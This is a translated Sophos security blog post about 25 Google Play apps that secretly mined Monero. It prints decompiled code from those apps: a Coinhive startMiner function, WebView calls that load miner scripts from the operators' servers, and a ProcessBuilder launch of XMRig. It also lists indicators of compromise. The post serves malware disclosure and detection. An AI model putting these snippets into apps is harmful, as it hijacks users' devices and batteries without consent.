cryptojacking
Products and Services PRODUCTS & SERVICES

加密劫持 App 重返 Google Play商店

在官方 Google Play 商店中至少有 25 個 Android App 包含會在後台挖礦的程式碼。

作者:Pankaj Kohli

 

儘管加密貨幣的價格在過去幾個月大幅下跌,但惡意軟體創造者仍然喜歡利用受害者的裝置來挖礦。我們除了協助早前發佈的網路威脅聯盟 (Cyber Threat Alliance, CTA) 加密和加密劫持報告,還將發佈一份包含未公開挖礦程式碼的行動應用程式報告。

SophosLabs 最近在 Google Play 上發現了 25 個 App,它們將自己偽裝成遊戲、公用程式和教育類應用程式,但骨子裡其實是將受害者的行動裝置轉變為加密貨幣的挖礦機。這些 App 已經被下載並安裝超過 120,000 次。

我們發現大多數 App 都內嵌了 Coinhive 的程式碼,其為一個挖掘 Monero (門羅幣) 的 JavaScript 實作。Coinhive 是專門利用 CPU (而非圖形處理器) 而編寫的程式,這使得它成為利用行動裝置偷偷挖礦的理想選擇。

挖礦程式碼只有幾行,可以輕鬆地新增到任何使用 WebView 嵌入式瀏覽器的 App 中。這些 App 的作者選擇使用 Monero 這一個加密貨幣,因為它隱密性夠,可躲藏來源、目的和挖掘量。這些 App 會使用 CPU 降頻來限制挖礦的 CPU 使用率,以避免常見的錯誤:設備過熱、電池耗電量太大、整體設備效能降級,這也是去年行動挖礦惡意軟體 Loapi 所犯的錯誤。

這 25 個 App 中的 11 個,是準備美國標準考試的應用程式,例如 ACT、GRE 或 SAT 等,並由同一個開發者帳戶 (Gadgetium) 發佈。這些 App 中包含一個 HTML 頁面,其中包含使用 Coinhive 的挖礦程式。

function startMiner(n, id) {
         if(isAlreadyStarted) return;
         isAlreadyStarted=true;
         var miner = new CoinHive.Anonymous(id, {
                 threads: n-1,
                 autoThreads: true,
                 throttle: 0.5
         });
         miner.start();
}

 

App 首先會啟用 JavaScript,並使用 WebView 載入一個 HTML 頁面。

this.mWebView.getSettings().setJavaScriptEnabled(true);
this.mWebView.loadUrl(“file:///android_asset/test.html”);

 

然後開始從資源擷取錢包值 (miner_id) 啟動挖礦作業。

this.mWebView.loadUrl(“javascript:startMiner(\”” + this.mNumCores + “\”,\”” + this.getString(string.miner_id) + “\”)”);

 

雖然大多數 App 使用 Coinhive 的挖掘 App 使用 coinhive.com 上託管的指令碼,但其中有兩個 App:co.lighton 和 com.mobeleader.spsapp 使用託管在自己伺服器上的挖礦指令碼 (如下所示)。這有可能是為了避開預設會阻擋 Coinhive 網域的防火牆或家長控制/信譽服務。

               Log.i(this.this$1.this$0.TAG, ” STOP “);
               this.this$1.this$0.web.loadUrl(“about:blank”);
               this.this$1.this$0.cancelNotification();
               this.this$1.this$0.mFirebaseAnalytics.logEvent(“miner_stop”, ((Bundle)v8));
}
else {
         Log.i(this.this$1.this$0.TAG, ” START “);
               this.this$1.this$0.web.loadUrl(“http://www.buyguard.co/sdk/?key=1a0Cej64dYffEiItrLIeiq4GfpPtn0Hf”);
               this.this$1.this$0.setNotification();
               this.this$1.this$0.mFirebaseAnalytics.logEvent(“miner_start”, ((Bundle)v8));
}
this.c = new WebView(this.getApplicationContext());
this.c.getSettings().setJavaScriptEnabled(true);
this.c.setWebChromeClient(new WebChromeClient());
this.c.loadUrl(“https://miner.mobeleader.com/miner.php?hash=” +
               this.a.getString(“mobeleader_appHash”, “”) +
               “&coin=” +
               this.a.getString(“mobeleader_coin”, “”));

 

其中一個被發現的 App:de.uwepost.apaintboxforkids 使用了 XMRig,這是一個開放原始碼的 CPU 挖礦機,可以挖掘包括 Monero 等多種加密貨幣。

ProcessBuilder v8 = new ProcessBuilder(new String[]{“./xmrig”});
v8.directory(this.getApplicationContext().getFilesDir());
v8.environment().put(“LD_LIBRARY_PATH”, this.privatePath);
v8.redirectErrorStream(); this.accepted = 0; this.process = v8.start();
this.outputHandler = new OutputReaderThread(this, this.process.getInputStream());
this.outputHandler.start();
Log.i(“MiningSvc”, “started, threads=” + arg10.threads + “, maxCpu=” + arg10.maxCpu);

 

雖然 Google Play 上明確禁止使用這些挖礦 App,但商店上仍可以取得許多這類的挖礦工具。

SophosLabs 在 8 月份向 Google 通報了這些挖礦 App。雖然有部分 App 已經被刪除,但其中許多仍然可以下載使用。這些 App 被 Sophos Mobile Security 偵測為 Coinhive JavaScript cryptocoin miner 和 Android XMRig Miner。

挖礦指標

封裝名稱 SHA1
com.cakrawalapengetahuan.infogurupendidikan 28335b0feeef216cad3e578c62ed78450fefbf19
com.devmouakkit.mugginsdominoesgame 0f65dac3cc40e888c52f38dc0121990a47cdf773
com.gadgetium.android.act d758e3e00a002d882ed9993ba9dc1efb4e7746df
com.gadgetium.android.cat dc92d18740ae5f802a96e5da72e655f12627c927
com.gadgetium.android.sat 00739b32e5edb863e6f029aa171025a7161e5fc6
com.gadgetium.gmat 533ece694ec86d834ddcbd918aa6497741f1ef9b
com.gadgetium.gre af0348a4c975aaa1e0bf0bbc95f9f258f1653250
com.gadgetium.lsat 09807f9f2059da076b681501ba472c625bcb974d
com.gadgetium.psat 0589115a44f8dd52c9c21b92fa2b5b933663601c
com.gadgetium.test.aieee 137098f142b685caf878ae9e034797cee0dc17f9
com.gadgetium.test.aiims 73839664372812a004d65a6592c985fb26bbd7a5
com.gadgetium.test.gate 208f843528e51bc8ca1896042da3fa4a2d9dd847
com.gadgetium.test.stan 0059e145a12a99a63a364c27ead7ed04d7d2dd16
com.lhds.vendors.android 7e80cb4ae5adf85ccca8e251263e1ab44ea51611
com.palpostr.palkar b85b257e1ffd0c48811a53f3b9577669f917af6f
com.rdt.tapbugs de45eee90c954befdd7451c6d611f53ee729af6e
com.rdt.yamaya.dreamspell 299805c00b7fe80667042de671335362ebe2b62f
com.rlite.funnfair d5482461e0c70dd7e2988819a47f8161a5c4d8ad
com.servicehangar.seriestrailer c31720e56233f455b3527c5ddc536c2b9b94516c
com.thanhtuteam.gameviet2048 ffc00c57f1339abe99aa4c8e561accaed2e695ea
de.uwepost.apaintboxforkids c943fa6b495469104d2a46a11f626d65f237a3f3
com.mobeleader.spsapp 86da0dc430247a6fbbcd0fcb9b848deab37e6676
com.solovev.kghelper edaf4166d4d332659af2c7c0252ea0b09800bf2f
com.thothprojects.trancedroid 0c87047219723f4d223d37706e26eabb2efdd839
co.lighton ab0d5b5a1c8db42352cdc8173630099f8628dc5b

 

了解更多關於反擊加密掘礦cryptojacking的方法,請參閱 ”Standing up to Cryptojacking” 白皮書

 

英文原文:  https://news.sophos.com/en-us/2018/09/24/cryptojacking-apps-return-to-google-play-market/?cmp=28009

(本博文為翻譯本,內容以英文原文為準)

Read Similar Articles

Leave a Reply

Your email address will not be published. Required fields are marked *